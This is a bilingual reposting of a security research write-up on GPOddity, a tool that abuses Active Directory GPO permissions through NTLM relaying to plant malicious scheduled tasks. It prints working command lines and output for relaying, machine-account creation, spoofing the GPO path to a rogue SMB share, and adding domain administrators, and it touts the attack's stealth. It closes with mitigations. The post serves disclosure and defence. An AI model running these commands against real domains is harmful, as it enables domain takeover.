5. DOMAIN TAKEOVER ABUSING GPO ACLS: EXPLOIT DEMONSTRATION USING GPODDITY5. 滥用 GPO ACL 的域名接管:使用 GPODDITY 进行漏洞利用演示

a. GPOddity in NTLM relaying contextsa. NTLM 中继上下文中的 GPOddity

The following developments will present a concrete exploitation scenario implementing the attack described above, using the GPOddity tool. A video extract of the performed steps is available at the end of this section.以下开发将介绍使用 GPOddity 工具实现上述攻击的具体利用方案。本节末尾提供了所执行步骤的视频摘录。

In this scenario, the attacker is once again starting from an unauthenticated position, and aims to elevate their privileges to the ones of a domain administrator by exploiting the adove’s user ACLs on the SRV_ANY_HARDENING_POLICY GPO.在此方案中,攻击者再次从未经身份验证的位置开始,旨在通过利用 adove GPO 上的 SRV_ANY_HARDENING_POLICY 用户 ACL 将其权限提升为域管理员的权限。

The starting point will then be identical to what was presented above in the third section: the attacker placed themselves in a Man-in-the-Middle position in order to relay the authentication data of the adove user to the LDAP server. Ntlmrelayx is used to open an interactive LDAP shell.然后,起点将与上面第三部分中介绍的内容相同:攻击者将自己置于中间人位置,以便将 adove 用户的身份验证数据中继到LDAP服务器。Ntlmrelayx用于打开交互式LDAP shell。

$ ntlmrelayx -t 'ldaps://192.168.58.100' -wh '192.168.58.101:8080' --http-port '80,8080' -i
[...]
[*] Servers started, waiting for connections
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Connection from 192.168.58.101 controlled, attacking target ldaps://192.168.58.100
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Authenticating against ldaps://192.168.58.100 as /ADOVE SUCCEED
[*] Started interactive Ldap shell via TCP on 127.0.0.1:11000

Through this LDAP shell, it is then possible to create a machine account (in this case, GPODDITY$) and give it full rights on the GPC associated with the SRV_ANY_HARDENING_POLICY GPO.然后,通过此 LDAP 外壳程序,可以创建一个计算机帐户(在本例中为 GPODDITY$ ),并授予其对与 GPO 关联的 SRV_ANY_HARDENING_POLICY GPC 的完全权限。

$ nc 127.0.0.1 11000
Type help for list of commands

# add_computer GPODDITY qTN8lugSL0yVKr0igdmSBtU1
Attempting to add a new computer with the name: GPODDITY$
Inferred Domain DN: DC=corp,DC=com
Inferred Domain Name: corp.com
New Computer DN: CN=GPODDITY,CN=Computers,DC=corp,DC=com
Adding new computer with username: GPODDITY$ and password: qTN8lugSL0yVKr0igdmSBtU1 result: OK

# write_gpo_dacl GPODDITY$ {46993522-7D77-4B59-9B77-F82082DE9D81}
Adding GPODDITY$ to GPO with GUID {46993522-7D77-4B59-9B77-F82082DE9D81}
LDAP server claims to have taken the secdescriptor. [...]

This is the point where running existing exploitation tools would return an error caused by the lack of permissions of the GPODDITY$ account on the legitimate GPT folder in the SYSVOL share. Let’s then, instead, run GPOddity.此时,运行现有利用工具将返回错误,该 GPODDITY$ 错误是由于帐户缺少 SYSVOL 对共享中合法 GPT 文件夹的权限而导致的。然后,让我们改为运行 GPOddity。

The various command line arguments are detailed in the help menu. To summarize, GPOddity will mainly need:

  • The target GPO GUID (--gpo-id).

  • The target domain (--domain).

  • The command to execute (--command). By default, cmd commands will be executed, but this can be switched to powershell with the --powershell flag.

  • The IP address of the SMB server that will host the malicious GPT. This should be the IP address of the computer running GPOddity (--rogue-smbserver-ip).

  • The name of the share that will host the malicious GPT (--rogue-smbserver-share). This could be anything, except words that are protected by UNC path hardening by default in Active Directory, i.e. SYSVOL or NETLOGON. Indeed, when UNC path hardening is enabled, additional security requirements are implemented, such as mutual authentication, which will make the connection to the embedded SMB server fail. You can read about UNC path hardening in more details here.

  • The username (--username), and password or hash (--password/--hash) of the user with the rights to edit the GPC (in our scenario, GPODDITY$).

Note that as mentioned above, GPOddity implements a custom SMB server performing NETLOGON authentication for incoming clients. To do so, a valid machine account on the domain is required. By default, GPOddity will assume that the user with the rights to edit the GPC (--username) is also a valid machine account (which is the case in our scenario). If this is not the case however, and you want GPOddity to implement an SMB server, it is then required to specify such a valid machine account with the additional --machine-name and --machine-pass/--machine-hash flags.

All in all, the following command will implement the attack and force the compromised GPO’s clients to add a new local administrator called synacktiv_gpoddity when applying said GPO.

$ python3 gpoddity.py --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --domain 'corp.com' --username 'GPODDITY$' --password 'qTN8lugSL0yVKr0igdmSBtU1' --command 'net user synacktiv_gpoddity Password123! /add && net localgroup administrators synacktiv_gpoddity /add' --rogue-smbserver-ip '192.168.58.101' --rogue-smbserver-share 'synacktiv'

=== GENERATING MALICIOUS GROUP POLICY TEMPLATE ===

[*] Downloading the legitimate GPO from SYSVOL
[+] Successfully downloaded legitimate GPO from SYSVOL to 'GPT_out' folder
[*] Injecting malicious scheduled task into downloaded GPO
[+] Successfully injected malicious scheduled task
[*] Initiating LDAP connection
[+] LDAP bind successful
[*] Updating downloaded GPO version number to ensure automatic GPO application
[+] Successfully updated downloaded GPO version number

=== SPOOFING GROUP POLICY TEMPLATE LOCATION THROUGH gPCFileSysPath ===

[*] Modifying the gPCFileSysPath attribute of the GPC to '\\192.168.58.101\synacktiv'
[+] Successfully spoofed GPC gPCFileSysPath attribute
[*] Updating the versionNumber attribute of the GPC
[+] Successfully updated GPC versionNumber attribute
[*] Updating the extensionName attribute of the GPC
[+] Successfully updated GPC extensionName attribute

=== LAUNCHING GPODDITY SMB SERVER AND WAITING FOR GPO REQUESTS ===

If the attack is successful, you will see authentication logs of machines retrieving and executing the malicious GPO
Type CTRL+C when you're done. This will trigger cleaning actions

As described in the tool output, GPOddity cloned the legitimate GPT, spoofed the GPT location and is now waiting for the GPO’s clients to connect to it. After a short while (5 minutes for the domain controller), an authentication attempt from the DC$ machine is received. GPOddity will then validate it through NETLOGON, and serve the malicious GPT files.如工具输出中所述,GPOddity 克隆了合法的 GPT,欺骗了 GPT 位置,现在正在等待 GPO 的客户端连接到它。片刻后(域控制器为 5 分钟),将收到来自计算机的 DC$ 身份验证尝试。然后,GPOddity 将通过 NETLOGON 对其进行验证,并提供恶意 GPT 文件。

[...]
[*] Received an authentication request from CORP\DC$,DC
[*] Validating user through netlogon service
[+] Successfully authenticated CORP\DC$ through Netlogon
[*] Granted access to CORP\DC$,DC
[+] CORP\DC$ requested 'gpt.ini' ; ATTACK PROBABLY WORKED FOR THIS HOST !

It is then possible to verify that the domain controller actually executed the malicious immediate task served with the GPT files:然后,可以验证域控制器是否实际执行了随 GPT 文件一起提供的恶意即时任务:

$ crackmapexec smb dc.corp.com -u 'synacktiv_gpoddity' -p 'Password123!'
SMB  192.168.57.10  445  DC  [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:corp.com) (signing:True) (SMBv1:False)
SMB  192.168.57.10  445  DC  [+] corp.com\synacktiv_gpoddity:Password123! (admin)

As demonstrated, the attack was successful and the domain controller was tricked into creating a new local administrator, which means a new domain administrator.如前所述,攻击成功,域控制器被诱骗创建新的本地管理员,这意味着新的域管理员。

Once all the clients to which the GPO applies fetched the malicious GPT file and executed the immediate task (or simply when you want to stop the attack), press CTRL+C and GPOddity will clean after itself, effectively restoring all the previous values of the GPC that it originally altered.一旦 GPO 应用到的所有客户端获取了恶意 GPT 文件并立即执行了任务(或者只是在您想要停止攻击时),按下 CTRL+C GPOddity 将自行清理,有效地恢复它最初更改的 GPC 的所有先前值。

[...]
[+] CORP\DC$ requested 'gpt.ini' ; ATTACK PROBABLY WORKED FOR THIS HOST ! 
^C
=== Cleaning and restoring previous GPC attribute values ===

[*] Restoring value of gPCFileSysPath - \\corp.com\SysVol\corp.com\Policies\{46993522-7D77-4B59-9B77-F82082DE9D81}
[+] Successfully restored gPCFileSysPath
[*] Restoring value of versionNumber - 9
[+] Successfully restored versionNumber
[*] Restoring value of gPCMachineExtensionNames - [{00000000-0000-0000-0000-000000000000}{BEE07A6A-EC9F-4659-B8C9-0B1937907C83}][{B087BE9D-ED37-454F-AF9C-04291E351182}{BEE07A6A-EC9F-4659-B8C9-0B1937907C83}]
[+] Successfully restored gPCMachineExtensionNames

Note that it is possible to ask GPOddity to only perform cleaning actions, in case the script did not gracefully exit through a CTRL+C signal (--just-clean).

Here is a video extract of the various steps described above.

Video file

b. The special case of User Group Policy Objects

In Active Directory, Group Policy Objects are most commonly linked with computer objects. For instance, the exploit presented above targeted such computer GPOs. However, GPOs may also be linked to user objects in order to apply user-specific settings and configurations.

GPOddity can handle this second kind of Group Policy Objects, by specifying the --gpo-type user command line argument. There is however one gotcha. When computer accounts retrieve GPT files in order to apply a GPO, they do so directly, i.e. those accounts simply communicate through SMB with the host designated by the gPCFileSysPath attribute.

When it comes to User Group Policy Objects, this behavior is slightly different. First, the user account on which the GPO applies authenticates to the gPCFileSysPath host in order to fetch the gpt.ini file. A subsequent connection with the same host will then be opened by the DC in order to retrieve the various other files describing the settings to apply.

Oddly enough, this second connection attempt performed by the DC with the embedded SMB server systematically fails, preventing the retrieval of GPT files and the successful application of the GPO. Digging into packet exchanges did not brought up more detailed information regarding this behavior or any obvious potential explanations. The domain controller simply emits an abrupt Tree disconnect request directly after the SMB session setup. This somewhat reminds of additional security mechanisms such as UNC path hardening’s mutual authentication, which would be automatically implemented by the DC when fetching settings files on behalf of a user account linked with a GPO. This is however just a supposition.

In this context, even though GPOddity’s embedded SMB server will not work to deliver GPT files, it is still possible to host the malicious GPT files on a domain-joined machine in order to let Windows handle the authentication. Note that this may be a machine that was previously compromised by the attacker, or simply a Windows host that the attacker manually joined to the domain (which can be performed with any domain accounts, including machine accounts).在这种情况下,即使 GPOddity 的嵌入式 SMB 服务器无法传递 GPT 文件,仍然可以在加入域的计算机上托管恶意 GPT 文件,以便让 Windows 处理身份验证。请注意,这可能是以前被攻击者入侵的计算机,或者只是攻击者手动加入域的 Windows 主机(可以使用任何域帐户(包括计算机帐户)执行)。

In that case, the attack involves some additional steps, but can still be implemented. First, the attacker would launch GPOddity without running the embedded SMB server, through the --no-smb-server flag. They will also specify that they are attacking a user GPO through the --gpo-type user instruction, and the domain-joined machine on which the GPT files will be hosted with the --rogue-smbserver-ip and --rogue-smbserver-share flags.在这种情况下,攻击涉及一些额外的步骤,但仍然可以实施。首先,攻击者将在不运行嵌入式 SMB 服务器的情况下通过 --no-smb-server 标志启动 GPOddity。他们还将指定他们正在通过 --gpo-type user 指令攻击用户 GPO,以及将使用 --rogue-smbserver-ip and --rogue-smbserver-share 标志托管 GPT 文件的已加入域的计算机。

For illustration purposes, a last attack scenario will be presented here, and will be very similar to the one of the previous section. The only difference being that it is assumed that the WK01 workstation (192.168.58.102) was compromised and will be used by the attacker, and that the target user GPO with GUID 7B36419B-B566-46FA-A7B7-58CA9030A604 applies to a domain administratorThe following command will thus attempt to force the target user to add a new domain administrator named user_gpo为了便于说明,此处将介绍最后一个攻击场景,并且与上一节非常相似。唯一的区别是假定 WK01 工作站 (192.168.58.102) 遭到入侵,将被攻击者使用,并且具有 GUID 7B36419B-B566-46FA-A7B7-58CA9030A604 的目标用户 GPO 适用于域管理员 因此,以下命令将尝试强制目标用户添加名为 user_gpo.

$ python3 gpoddity.py --gpo-id '7B36419B-B566-46FA-A7B7-58CA9030A604' --gpo-type 'user' --no-smb-server --domain 'corp.com' --username 'GPODDITY$' --password 'qTN8lugSL0yVKr0igdmSBtU1' --command 'net user user_gpo Password123! /add /domain && net group "Domain Admins" user_gpo /ADD /DOMAIN' --rogue-smbserver-ip '192.168.58.102' --rogue-smbserver-share 'synacktiv'

=== GENERATING MALICIOUS GROUP POLICY TEMPLATE ===

[*] Downloading the legitimate GPO from SYSVOL
[+] Successfully downloaded legitimate GPO from SYSVOL to 'GPT_out' folder
[*] Injecting malicious scheduled task into downloaded GPO
[+] Successfully injected malicious scheduled task
[*] Initiating LDAP connection
[+] LDAP bind successful
[*] Updating downloaded GPO version number to ensure automatic GPO application
[+] Successfully updated downloaded GPO version number

=== SPOOFING GROUP POLICY TEMPLATE LOCATION THROUGH gPCFileSysPath ===

[*] Modifying the gPCFileSysPath attribute of the GPC to '\\192.168.58.102\synacktiv'
[+] Successfully spoofed GPC gPCFileSysPath attribute
[*] Updating the versionNumber attribute of the GPC
[+] Successfully updated GPC versionNumber attribute
[*] Updating the extensionName attribute of the GPC
[+] Successfully updated GPC extensionName attribute

=== WAITING (not launching GPOddity SMB server) ===
[*] CTRL+C to stop and clean...

As usual, GPOddity will clone the legitimate GPT, inject an immediate task, and spoof the GPT’s location. The attacker would then have to move the malicious GPT files to the WK01 workstation and host it on a simple SMB share named synacktiv. This can be achieved, for instance, by placing the files into the C:\Temp directory and running the following PowerShell command on WK01:像往常一样,GPOddity 将克隆合法的 GPT,注入即时任务,并欺骗 GPT 的位置。然后,攻击者必须将恶意 GPT 文件移动到工作站, WK01 并将其托管在名为 synacktiv 的简单 SMB 共享上。例如,可以通过将文件放入 C:\Temp 目录中并在 上运行 WK01 以下 PowerShell 命令来实现:

PS C:\> New-SmbShare -Name "synacktiv" -Path "C:\Temp"

All that is left to do is to wait for target GPO to apply to the linked administrative user. The latter will then execute the immediate task which their account’s privileges, from any computer on which they are logged in. Which leads to the successful addition of an attacker-controller domain administrator in the described attack scenario.

$ crackmapexec smb dc.corp.com -u 'user_gpo' -p 'Password123!'
SMB  192.168.57.10  445  DC  [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:corp.com) (signing:True) (SMBv1:False)
SMB  192.168.57.10  445  DC  [+] corp.com\user_gpo:Password123! (admin)

c. Beyond NTLM relaying

The attack presented in this article as well as the GPOddity tool were originally designed with NTLM relaying in mind. However, such an exploitation vector may very well be implemented in standard GPO exploitation scenarios, in which a domain user with extensive GPO ACLs was fully compromised. This could present some advantages over an exploitation through existing tools, namely:

  • Safety: existing tools actually modify the target GPO by directly editing the files associated with it in the SYSVOL share. Altering GPT files entails the risk to break the GPO configuration, which could have a serious impact on the domain depending on the modified GPO. By contrast, GPOddity will not perform any changes on the GPT files. Indeed, it will leave the legitimate GPO intact by simply cloning it and performing all modifications on the duplicated version. You should still be careful when performing any kind of exploits related to Group Policy Objects, and try to target non-essential GPOs to minimize disruption risks.

  • Stealthbecause GPOddity does not edit the original GPO and simply produces a malicious clone, spoofs clients and reverts everything, no exploitation traces are left in the GPO configuration after the attack. On the contrary, existing tools will leave the created malicious immediate task in the GPO configuration files, which includes the commands ran by the attacker. This could be spotted from the Group Policy Management console by an attentive administrator or blue team operators.隐身:由于 GPOddity 不会编辑原始 GPO,而只是生成恶意克隆、欺骗客户端并还原所有内容,因此攻击后 GPO 配置中不会留下任何利用痕迹。相反,现有工具会将创建的恶意即时任务保留在 GPO 配置文件中,其中包括攻击者运行的命令。细心的管理员或蓝队操作员可以从组策略管理控制台发现这一点。

6. CONCLUSION 6. 结论

The main conclusion that should be drawn from this article is to stay careful about the users that are given any kind of write permissions on Group Policy ObjectsConfiguring such users with strong, random passwords is not enough as we just demonstrated that an attacker could abuse their GPO ACLs solely through NTLM relaying.从本文中得出的主要结论是,要小心被授予对组策略对象具有任何类型的写入权限的用户。使用强随机密码配置此类用户是不够的,因为我们刚刚演示了攻击者可以仅通过 NTLM 中继滥用其 GPO ACL。

Ideally, write permissions on Group Policy Objects should only be given to dedicated administrative accounts with robust passwords, that are part of the Protected Users group. Indeed, members of this group automatically have non-configurable protections applied to their accounts, including the inability to perform NTLM authentication, which would effectively protect them against any kind of relaying attacks. More generally, signing and channel binding requirements should always be implemented on sensitive services (such as LDAP servers) to prevent NTLM relaying attack vectors altogether.理想情况下,组策略对象的写入权限应仅授予具有可靠密码的专用管理帐户,这些帐户是组 Protected Users 的一部分。实际上,此组的成员会自动对其帐户应用不可配置的保护,包括无法执行 NTLM 身份验证,这将有效地保护他们免受任何类型的中继攻击。更一般地说,应始终在敏感服务(如 LDAP 服务器)上实现签名和通道绑定要求,以完全防止 NTLM 中继攻击媒介。

If you are interested in the inner workings of the GPOddity tool, and more specifically of its embedded SMB server as well as the conditions for successful GPT files retrieval by Computer GPO clients, the next section will dwell into slightly more technical details related to the exploit. Otherwise, thank you for reading and do not hesitate to report any potential bugs in GPOddity, or to contribute to the project directly on GitHub!如果您对 GPOddity 工具的内部工作原理感兴趣,更具体地说,对其嵌入式 SMB 服务器以及计算机 GPO 客户端成功检索 GPT 文件的条件感兴趣,下一节将详细介绍与该漏洞相关的更多技术细节。否则,感谢您的阅读,并毫不犹豫地报告GPOddity中的任何潜在错误,或直接在GitHub上为项目做出贡献!

7. AFTER ROOT: GPODDITY’S INNER WORKINGS7. 根之后:GPODDITY 的内部运作

The following developments are not required to understand or exploit the attack vector described in the article. They are purely informative and intended for readers that are curious about the implementation of GPOddity.了解或利用本文中描述的攻击媒介不需要以下开发。它们纯粹是信息性的,适用于对 GPOddity 实现感到好奇的读者。

As a reminder, this implementation will work in 5 phases: clone the legitimate GPO, inject a malicious immediate task, alter the GPC to spoof the GPO location, host the malicious GPT on a custom SMB server (for computer GPOs), and clean by reverting all GPC changes.提醒一下,此实现将分 5 个阶段工作:克隆合法 GPO、注入恶意即时任务、更改 GPC 以欺骗 GPO 位置、在自定义 SMB 服务器上托管恶意 GPT(适用于计算机 GPO),以及通过还原所有 GPC 更改进行清理。

In this part, we will take a closer look at the embedded SMB server implementation, which is arguably the most original part of GPOddity (the GPO cloning is performed through standard SMB calls, the malicious immediate task injection is heavily based on pyGPOAbuse, and the ldap3 library is used for all GPC modifications).在这一部分中,我们将仔细研究嵌入式SMB服务器实现,这可以说是GPOddity最原始的部分(GPO克隆是通过标准的SMB调用执行的,恶意即时任务注入在很大程度上基于pyGPOAbuse,ldap3库用于所有GPC修改)。

GPOddity’s SMB server builds upon Impacket’s smbserver.py implementation, but has to include several tweaks in order to allow domain computers to retrieve GPT files.

Indeed, the most basic solution that was originally considered in order to host the malicious GPT was to simply run an SMB server allowing guest or anonymous access. However, any modern Windows SMB client will by default refuse to access shares configured to allow unauthenticated access; the error will look something like this:

GPODDITY: EXPLOITING ACTIVE DIRECTORY GPOS THROUGH NTLM RELAYING, AND MORE!
Modern SMB clients denying unauthenticated shares connections.现代 SMB 客户端拒绝未经身份验证的共享连接。

GPO clients will thus similarly refuse to access a GPT hosted on an SMB server allowing unauthenticated access.因此,GPO 客户端同样会拒绝访问托管在 SMB 服务器上的 GPT,允许未经身份验证的访问。

The next, still relatively simple idea, would be to implement a slightly modified SMB server that would require authentication, but that would subsequently accept any username-password pairs without performing any additional checks. In other words, the goal would be to implement an SMB server able to authenticate a user without any knowledge of the user’s credentials and without validating their password. In order for this to work, communication between the server and the clients should not be signed. Indeed, the signing key is derived from the client’s password, that is not known in our scenario. If packets are signed without a valid signing key, the SMB client will fail to validate the server’s signatures, and will end the communication.下一个仍然相对简单的想法是实现一个稍微修改的SMB服务器,该服务器需要身份验证,但随后将接受任何用户名 – 密码对而不执行任何其他检查。换句话说,目标是实现一个 SMB 服务器,该服务器能够在不了解用户凭据和验证其密码的情况下对用户进行身份验证。为了使其正常工作,不应对服务器和客户端之间的通信进行签名。实际上,签名密钥派生自客户端的密码,这在我们的方案中是未知的。如果在没有有效签名密钥的情况下对数据包进行签名,SMB 客户端将无法验证服务器的签名,并将结束通信。

Surprisingly, after modifying Impacket’s SMB server to allow any username/password and disabling message signing, GPO clients were still unable to retrieve the hosted GPT files. Looking more closely into the network packets, the client seemed to systematically terminate the communication (Session Logoff Request) after a specific IOCTL exchange (FSCTL_VALIDATE_NEGOTIATE_INFO).令人惊讶的是,在修改Impacket的SMB服务器以允许任何用户名/密码并禁用消息签名后,GPO客户端仍然无法检索托管的GPT文件。更仔细地观察网络数据包,客户端似乎在特定 IOCTL 交换后系统地终止通信 ( Session Logoff Request FSCTL_VALIDATE_NEGOTIATE_INFO )。

GPODDITY: EXPLOITING ACTIVE DIRECTORY GPOS THROUGH NTLM RELAYING, AND MORE!
SMB communication aborted after FSCTL_VALIDATE_NEGOCIATE_INFO exchange.SMB 通信在交换后 FSCTL_VALIDATE_NEGOCIATE_INFO 中止。

After a bit more digging, it seems like this particular exchange results from the implementation of the Secure Negotiate feature enabled by default by SMB client since Windows Server 2012 / Windows 8. The FSCTL_VALIDATE_NEGOTIATE_INFO packet is used by an SMB client to validate the negotiation information received from the server during the SMB session setup:经过更多的挖掘,似乎这种特殊的交换是由于自Windows Server 2012 / Windows 8以来SMB客户端默认启用的安全协商功能的实现造成的。SMB 客户端使用该 FSCTL_VALIDATE_NEGOTIATE_INFO 数据包来验证在 SMB 会话设置期间从服务器接收的协商信息:

« In a nutshell, upon reception of a Tree Connect response, an SMB3-capable client validates the original SMB2 Negotiate request by sending a signed IOCTL, called FSCTL_VALIDATE_NEGOTIATE_INFO as specified in MS-SMB2. The server needs to reply with a signed response, and this enables end-to-end validation of the Negotiate exchange. […] With ‘secure Negotiate’, it is not required that signing is active on the connection. It is inherently designed to work with servers that support unsolicited signed requests. »« 简而言之,在收到树连接响应后,支持 SMB3 的客户端通过发送签名的 IOCTL(称为 MS-SMB2 中指定的FSCTL_VALIDATE_NEGOTIATE_INFO)来验证原始 SMB2 协商请求。服务器需要使用签名的响应进行回复,这将启用协商交换的端到端验证。[…]使用“安全协商”,不需要在连接上激活签名。它本质上设计用于与支持未经请求的签名请求的服务器配合使用。»

This feature was introduced in order to protect against Man-in-the-Middle attacks and concretely means that even if packet signature is not implemented for the communication, the FSCTL_VALIDATE_NEGOCIATE_INFO message should be correctly signed by the server; otherwise, the client will terminate the connection. This explains the failure of our previous attempt, and implies that it is not possible to authenticate a client without knowing its password or being able to retrieve the correct derived signing key – even when signing is not active.引入此功能是为了防止中间人攻击,具体意味着即使没有为通信实现数据包签名, FSCTL_VALIDATE_NEGOCIATE_INFO 服务器也应正确对消息进行签名;否则,客户端将终止连接。这解释了我们之前尝试的失败,并暗示在不知道客户端密码或能够检索正确的派生签名密钥的情况下无法对客户端进行身份验证 – 即使签名未处于活动状态也是如此。

In these conditions, two solutions are available. The first one would be to let Windows handle the authentication, and host the malicious GPT on a domain-joined machine. Such a scenario would work, but is not the most straightforward, as it would require to either have already compromised a domain machine, or to join an attacker-controlled Windows VM to the domain.在这些条件下,有两种解决方案可用。第一个是让 Windows 处理身份验证,并在加入域的计算机上托管恶意 GPT。这种情况会起作用,但不是最简单的,因为它需要已经破坏了域计算机,或者将攻击者控制的 Windows VM 加入域。

The second solution would be to use the NETLOGON protocol in order to make the domain controller authenticate incoming clients for us, and communicate the correct signing key expected for the packets exchanges. This is the solution implemented by GPOddity in its embedded SMB server, more specifically in the getNetlogonSessionKey function of the helpers/gpoddity_smbserver.py file. Note that, as mentioned above, this second strategy fails for User Group Policy Objects, for which it is then necessary to fall back to the first solution.第二种解决方案是使用 NETLOGON 协议,以便使域控制器为我们验证传入客户端,并传达数据包交换所需的正确签名密钥。这是GPOddity在其嵌入式SMB服务器中实现的解决方案,更具体地说是在 helpers/gpoddity_smbserver.py 文件 getNetlogonSessionKey 的功能中。请注意,如上所述,对于用户组策略对象,第二种策略失败,因此需要回退到第一个解决方案。

Each time a GPO client tries to authenticate to the SMB server, a NETLOGON request is emitted to the domain controller using the nrpc impacket library. For this request to succeed, three conditions must be met.每次 GPO 客户端尝试向 SMB 服务器进行身份验证时,都会使用 nrpc impacket 库向域控制器发出 NETLOGON 请求。要使此请求成功,必须满足三个条件。

  1. In order to initiate a NETLOGON request, a valid domain machine account credentials must be provided. Note that this machine account only needs to exist – it does not need to have a DNS record associated or anything else. This is why GPOddity needs a valid machine account on the domain when running its SMB server.为了启动 NETLOGON 请求,必须提供有效的域计算机帐户凭据。请注意,此计算机帐户只需要存在 – 它不需要关联 DNS 记录或其他任何内容。这就是 GPOddity 在运行其 SMB 服务器时需要在域上具有有效计算机帐户的原因。

  2. Apixis notes in his article about NTLM relaying, since CVE-2015-005, “to verify that only the server the user is authenticating to has the right to ask for the session key, the domain controller will verify that the target machine in the AUTHENTICATE response is the same as the host making the NetLogon request”. As a result, the GPOddity SMB server has to define its DNS and NETBIOS name as the machine account that will be used to perform NETLOGON authentication.正如pixis在他关于NTLM中继的文章中指出的那样,自CVE-2015-005以来,“为了验证只有用户进行身份验证的服务器才有权请求会话密钥,域控制器将验证 AUTHENTICATE 响应中的目标计算机是否与发出NetLogon请求的主机相同”。因此,GPOddity SMB 服务器必须将其 DNS 和 NETBIOS 名称定义为将用于执行 NETLOGON 身份验证的计算机帐户。

    GPODDITY: EXPLOITING ACTIVE DIRECTORY GPOS THROUGH NTLM RELAYING, AND MORE!
    Altering the SMB server DNS and NETBIOS name to match the provided machine account.更改 SMB 服务器 DNS 和 NETBIOS 名称以匹配提供的计算机帐户。
  3. Over the last few years and following several vulnerabilities affecting NETLOGON (the most infamous one being CVE-2020-1472, a.k.a. Zerologon), Microsoft progressively hardened the implementation of this protocol. The default Active Directory configuration will now automatically reject any NETLOGON request that is not performed over a Secure RPC channel (such a rejection being logged as event 5827). After digging into Microsoft’s documentation, it appeared that an RPC channel is considered secured when packets are signed (verifies that none of the data transferred between the client and server has been modified) and sealed (ensures that the data transferred can only be seen unencrypted by the client and the server). This corresponds to the authentication level RPC_C_AUTHN_LEVEL_PKT_PRIVACYGPOddity will thus start the NETLOGON interaction, perform authentication, and alter the communication’s context to configure the Secure channel authentication level, in accordance with the protocol’s specifications.在过去的几年中,在影响 NETLOGON 的几个漏洞(最臭名昭著的是 CVE-2020-1472,又名 Zerologon)之后,Microsoft逐渐强化了该协议的实施。默认的活动目录配置现在将自动拒绝任何未通过安全 RPC 通道执行的 NETLOGON 请求(此类拒绝记录为事件 5827)。在深入研究Microsoft的文档后,当数据包被签名(验证客户端和服务器之间传输的数据都没有被修改)和密封(确保传输的数据只能被客户端和服务器看到未加密)时,RPC通道似乎被认为是安全的。这对应于身份验证级别RPC_C_AUTHN_LEVEL_PKT_PRIVACY。因此,GPOddity 将根据协议的规范启动 NETLOGON 交互、执行身份验证并更改通信的上下文以配置安全通道身份验证级别。

GPODDITY: EXPLOITING ACTIVE DIRECTORY GPOS THROUGH NTLM RELAYING, AND MORE!
Configuring a secure RPC channel for NETLOGON interactions.为 NETLOGON 交互配置安全的 RPC 通道。

With these three conditions met, the NETLOGON protocol will provide to the SMB server the base key for cryptographic operations related to the SMB exchanges with the client and to successfully allow the latter to retrieve the malicious GPT files. All in all, this setup allows GPOddity to abuse Computer GPO ACLs directly from a non-domain joined machine, leveraging only a valid machine account that can be easily created in default Active Directory configurations.满足这三个条件后,NETLOGON 协议将向 SMB 服务器提供与客户端的 SMB 交换相关的加密操作的基本密钥,并成功允许后者检索恶意 GPT 文件。总而言之,此设置允许 GPOddity 直接从未加入域的计算机滥用计算机 GPO ACL,仅利用可在默认 Active Directory 配置中轻松创建的有效计算机帐户。

 

版权声明:admin 发表于 2023年9月7日 上午9:30。
转载请注明:GPODDITY: EXPLOITING ACTIVE DIRECTORY GPOS THROUGH NTLM RELAYING, AND MORE! | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...